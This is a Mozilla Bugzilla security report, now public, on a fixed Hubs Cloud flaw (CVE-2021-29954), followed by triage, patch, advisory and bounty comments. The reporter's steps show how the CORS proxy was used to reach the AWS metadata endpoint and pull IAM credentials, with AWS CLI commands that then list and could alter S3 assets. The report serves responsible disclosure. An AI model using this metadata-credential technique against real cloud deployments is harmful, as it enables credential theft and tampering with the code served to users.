

Closed Bug 1707898 (CVE-2021-29954) Opened 2 years ago Closed 2 years ago

Mozilla Hubs Cloud: cloud api credentials exposure

▼ Categories

Product: Cloud Services ▾
Component: Security ▾

Type: defect

Priority: **Not set** Severity: **--**

▼ Tracking

Status: RESOLVED FIXED

► **People** (Reporter: torsten.trumm, Unassigned)

► **Details** (Keywords: sec-critical, wsec-disclosure, Whiteboard: [reporter-external] [client-bounty-form] [verif?])

Bottom ▾ Tags ▾ Timeline ▾

 **Torsten Trumm** Reporter Description • 2 years ago

Mozilla Hubs exposes internal cloud endpoints which can be used to get credentials for cloud APIs.

Tested with current version at 2021-04-27.

Steps to reproduce on AWS:

- Find out the CORS proxy URL.
Open the start page of a Hubs Cloud installation on AWS.
Find out the assets URL by looking under the Network tab in the browser dev tools.
for example https://HUBS_NAME-assets.HUBS_INTERNAL_DOMAIN/files/...
With this information you can construct the CORS proxy URL.
for example https://HUBS_NAME-cors-proxy.HUBS_INTERNAL_DOMAIN/
- Retrieve the cloud api credentials
Background: AWS offers a special local endpoint for retrieving instance information.
(see <https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-data-data-retrieval.html>)
Open https://HUBS_NAME-cors-proxy.HUBS_INTERNAL_DOMAIN/http://169.254.169.254/latest/meta-data/iam/security-credentials/
append a slash and the returned value to the URL and call again.
https://HUBS_NAME-cors-proxy.HUBS_INTERNAL_DOMAIN/http://169.254.169.254/latest/meta-data/iam/security-credentials/XXXXXXXXX-app
This will return AccessKeyid, SecretAccessKey and Token.
With these anyone can connect to the AWS API and do everything that the server is allowed to do.

For example using the AWS CLI.

Enter the retrieved credentials into `.aws/credentials` on a machine with AWS CLI installed.

Verify that you have access.

```
aws --profile testapi --region eu-west-1 sts get-caller-identity
```

```
{
  "Account": "XXXXXXXXXX",
  "UserId": "AROAJVIRVTGPR3HV3X7BI-XXXXXXXXXX",
  "Arn": "arn:aws:sts::XXXXXXXXXX:assumed-role/XXXXXXXX-app/i-XXXXXXXXXX"
```

Use the instance ID which the endpoint returned and retrieve the tags.

```
aws --profile testapi ec2 describe-tags --filters "Name=resource-id,Values=i-XXXXXXXX" --region eu-west-1
```

The S3 bucket name can be constructed using the information from the `aws:cloudformation:stack-id` tag

Now you can list all assets, retrieve/delete/modify any asset.

```
aws --profile testapi s3 ls XXXXX-assets-XXXXXX/assets/images/ --region eu-west-1
```

2021-03-30 11:55:41 11628 hubs-cloud-logo.png

You could also modify the JavaScript files under `/hubs/assets/js/` and replace them with versions containing malicious code that will then be delivered to the Hubs users.

Flags: sec-bounty?

 **Daniel Veditz** [:dveditz]
Updated • 2 years ago

Type: task → defect

 Jonathan Claudius [:claudijd] (use NEEDINFO)
Comment 1 • 2 years ago

torsten: thanks for your report, we'll investigate and report back on what we identify.

Jonathan Claudius [:claudijd] (use NEEDINFO)
Updated • 2 years ago














Group: cloud-services-security

 **Daniel Veditz** [[dveditz](#)]
Updated • 2 years ago

Group: ~~firefox-core-security~~

Jonathan Claudius [:claudijd] (use NEEDINFO)
Updated • 2 years ago

Product: Firefox → Cloud Services

QA Contact: nobody		
	Jonathan Claudius [:claudijd] (use NEEDINFO) Comment 2 • 2 years ago	—
Torsten: we have confirmed the issue and we're working on a fix now, thanks again for the report.		
	Torsten Trumm Reporter Comment 3 • 2 years ago	—
You are welcome. If you need more information just let me know.		
	Jonathan Claudius [:claudijd] (use NEEDINFO) Comment 4 • 2 years ago	—
Torsten: This issue was patched last night. We are working with our engineering and product teams to work on a notification to potentially affected customers and the actions we have taken and the actions they should take. I will close this bug because the vulnerability is addressed, we'll chase the rest of the clean up effort via our incident response process. Thanks again for the report!		
Status: UNCONFIRMED → RESOLVED Closed: 2 years ago Resolution: --- → FIXED		
	Jonathan Claudius [:claudijd] (use NEEDINFO) Comment 5 • 2 years ago	—
We are looking into sending an advisory to customers on this, ok if we use "Torsten Trumm" in the reporter section? It would show up here in this feed => https://www.mozilla.org/en-US/security/advisories/		
Flags: needinfo?(torsten.trumm)		
	Torsten Trumm Reporter Comment 6 • 2 years ago	—
Sure. You can show me as reporter.		
Flags: needinfo?(torsten.trumm)		
	Jonathan Claudius [:claudijd] (use NEEDINFO) Comment 7 • 2 years ago	—
Torsten: This is also a heads-up that this issue will be made public once the advisory has been made public.		
	Jonathan Claudius [:claudijd] (use NEEDINFO) Comment 8 • 2 years ago	—
Security Advisory: https://www.mozilla.org/en-US/security/advisories/mfsa2021-21/ I'm also lifting the sec flags on this bug so readers of the advisory can see the detailed report.		
	Jonathan Claudius [:claudijd] (use NEEDINFO) Updated • 2 years ago	—
Group: cloud-services-security		
	Daniel Veditz [:dveditz] Updated • 2 years ago	—
Flags: sec-bounty? → sec-bounty+		
	Daniel Veditz [:dveditz] Comment 9 • 2 years ago	—
Thank you so much, Torsten. We have awarded a Security Bug Bounty for this bug.		
	Torsten Trumm Reporter Comment 10 • 2 years ago	—
Thank you very much. I can confirm that the servers have updated themselves and the issue is resolved.		
	Daniel Veditz [:dveditz] Updated • 1 year ago	—
Alias: CVE-2021-29954		
	Frida K [:frida] Updated • 11 months ago	—
Keywords: sec-critical , wsec-disclosure		

You need to [log in](#) before you can comment on or make changes to this bug.